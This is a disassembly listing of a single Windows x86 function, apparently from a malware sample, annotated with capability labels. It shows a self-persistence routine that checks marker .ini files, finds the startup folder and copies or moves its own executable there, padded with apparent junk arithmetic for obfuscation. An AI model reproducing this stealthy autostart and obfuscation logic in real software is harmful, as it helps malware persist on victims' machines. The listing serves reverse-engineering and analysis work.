Function at 0x40e430
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45f540]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45dbcc]
push edi
mov edi, dword [0x45dbe4]
mov eax, 0x77668d35
imul edi
mov eax, dword [0x45dbd0]
sar edx, 0xc
lea ebx, [eax + esi]
mov ecx, edx
imul ebx, ebx, 0x1ade
shr ecx, 0x1f
add ecx, edx
mov eax, 0x771da23
imul edi
sar edx, 8
add ebx, edx
mov edi, edx
mov eax, 0xc7eb4e25
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
mov esi, dword [0x45dbd8]
imul edx, edx, 0xdf5
shr edi, 0x1f
add edi, ebx
sub edi, eax
mov eax, dword [0x45dbdc]
imul eax, eax, 0x4de
add edx, ecx
add edx, edi
add eax, edx
mov edx, dword [0x45dbc8]
mov edi, dword [str._r_____r____]
mov dword [0x45dbdc], eax
mov eax, dword [0x45dbd4]
lea ebx, [eax + edx]
mov eax, 0x771da23
imul ebx, ebx, 0xddb
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x2263
sub ebx, eax
add ebx, edx
mov eax, 0x8e8c0a95
imul edi
add edx, edi
sar edx, 0xc
mov edi, edx
add ebx, edx
mov eax, 0x98742075
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, ebx
add eax, edx
sub edi, eax
sub edi, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbe4], edi
call fcn.004309cd
add esp, 8
cmp eax, 0xffffffff
je 0x40ea19
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.004309cd
add esp, 8
cmp eax, 0xffffffff
je 0x40ea19
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbe4]
mov eax, 0x3d2f2c3f
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc7eb4e25
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x92bc6f7d
imul ecx
mov eax, dword [0x45dbc8]
add edx, ecx
imul eax, eax, 0x4de
sar edx, 0xb
mov esi, edx
add edi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x736
shr esi, 0x1f
add esi, edi
add esi, edx
add esi, eax
mov eax, 0x6931b881
imul ecx
sar edx, 9
mov ecx, edx
add esi, edx
push 0x104
lea edx, [esp + 0x214]
shr ecx, 0x1f
push edx
add ecx, esi
push 0
mov dword [0x45dbc8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x210]
push 0x5c
push eax
call fcn.00431430
push str..exe
lea ecx, [esp + 0x21c]
push ecx
lea edx, [esp + 0x20]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.00430631
mov edi, dword [0x45dbd8]
mov ebx, dword [0x45dbe8]
mov ecx, dword [0x45dbdc]
imul ebx, ebx, 0x2214
mov eax, edi
imul eax, eax, 0x224e
add ebx, eax
mov eax, 0x77668d35
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45dbd0]
mov eax, 0x8e8c0a95
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x18
sub ebx, eax
mov ecx, dword [0x45dbc8]
mov eax, 0x6931b881
imul ecx, ecx, 0x147d
imul edi
sar edx, 9
add ebx, ecx
mov ecx, dword [0x45dbe4]
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
push 0
sub eax, ecx
push 0x18
lea ecx, [esp + 0x118]
push ecx
sub eax, 0x4de
push 0
mov dword [0x45dbd0], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e6c0
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44e274
push edx
call fcn.00430631
mov esi, dword [0x45dbe8]
mov edi, dword [0x45dbd4]
mov eax, 0x1e0c7127
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x771da23
imul edi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x2263
mov ebx, dword [0x45dbe0]
sub ebp, ecx
add ebp, edx
mov eax, 0x3d2f2c3f
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x49e7e4dd
imul ebx
imul ebx, ebx, 0xddb
sar edx, 0xa
add ebp, edx
mov ecx, edx
mov edx, esi
imul edx, edx, 0x4de
shr ecx, 0x1f
add ecx, ebp
add ecx, ebx
sub ecx, edx
add esp, 0xc
mov dword [0x45dbd8], ecx
xor ebx, ebx
jmp 0x40e780
mov ecx, dword [0x45dbd8]
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
lea ebx, [ebx]
mov eax, dword [0x45dbd0]
imul edi, edi, 0x2214
imul ecx, ecx, 0xdf5
lea ebp, [esi + eax]
imul ebp, ebp, 0x1cbc
sub ebp, edi
mov edi, dword [0x45dbcc]
mov eax, 0x8e8c0a95
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x98742075
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
add eax, ecx
mov ecx, dword [0x45dbdc]
imul ecx, ecx, 0x4de
lea edx, [esp + 0x14]
sub eax, ecx
push 0
push edx
mov dword [0x45dbe0], eax
call fcn.004309cd
add esp, 8
cmp eax, 0xffffffff
je 0x40e80a
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 0x64
jl 0x40e768
mov ecx, dword [0x45dbd0]
mov edx, dword [0x45dbd8]
mov esi, dword [0x45dbc8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x2263
mov eax, 0x771da23
imul edi, edi, 0x2179
imul esi
sar edx, 8
add edi, edx
mov ebx, edx
mov eax, 0x49e7e4dd
imul esi
mov esi, dword [0x45dbe4]
shr ebx, 0x1f
sar edx, 0xa
add ebx, edi
mov edi, dword [str._r_____r____]
sub ebx, ecx
add ebx, edx
mov ecx, edx
mov eax, 0x92bc6f7d
imul edi
mov ebp, dword [esp + 0x31c]
add edx, edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x4de
shr ecx, 0x1f
add ecx, ebx
sub ecx, eax
sub ecx, edx
test ebp, ebp
mov dword [0x45dbe8], ecx
je 0x40e898
cmp ebp, 2
jne 0x40e97c
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
test eax, eax
jne 0x40e96a
mov ecx, dword [0x45dbd4]
mov eax, 0x771da23
imul ecx
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x2214
add edi, edx
mov eax, 0x77668d35
imul ecx
mov ecx, dword [0x45dbcc]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x77668d35
imul ecx
sar edx, 0xc
mov ebx, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x2179
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x98742075
imul ecx
add edx, ecx
mov ecx, dword [0x45dbdc]
sar edx, 0xc
imul ecx, ecx, 0x147d
mov eax, edx
shr eax, 0x1f
add eax, edx
push 6
sub ebx, eax
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x1c]
add ebx, ecx
push eax
mov dword [str._r_____r____], ebx
call esi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0043045d
add esp, 0x308
ret
mov esi, dword [0x45dbe4]
mov edi, dword [str._r_____r____]
mov ecx, dword [0x45dbe8]
mov ebx, dword [0x45dbd4]
imul ecx, ecx, 0x2214
imul esi, esi, 0x4de
mov eax, 0x771da23
imul ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x45dbe0]
imul ecx, ecx, 0x2179
add eax, ecx
mov dword [esp + 0x10], eax
mov ecx, dword [0x45dbcc]
mov eax, 0xc7eb4e25
imul ebx
mov eax, dword [esp + 0x10]
add edx, ebx
sar edx, 0xc
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x49e7e4dd
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, esi
sub eax, edi
add eax, 0x1cbc
cmp ebp, 1
mov dword [0x45dbcc], eax
je 0x40e9fd
cmp ebp, 2
jne 0x40ea12
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e951
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0043045d
add esp, 0x308
ret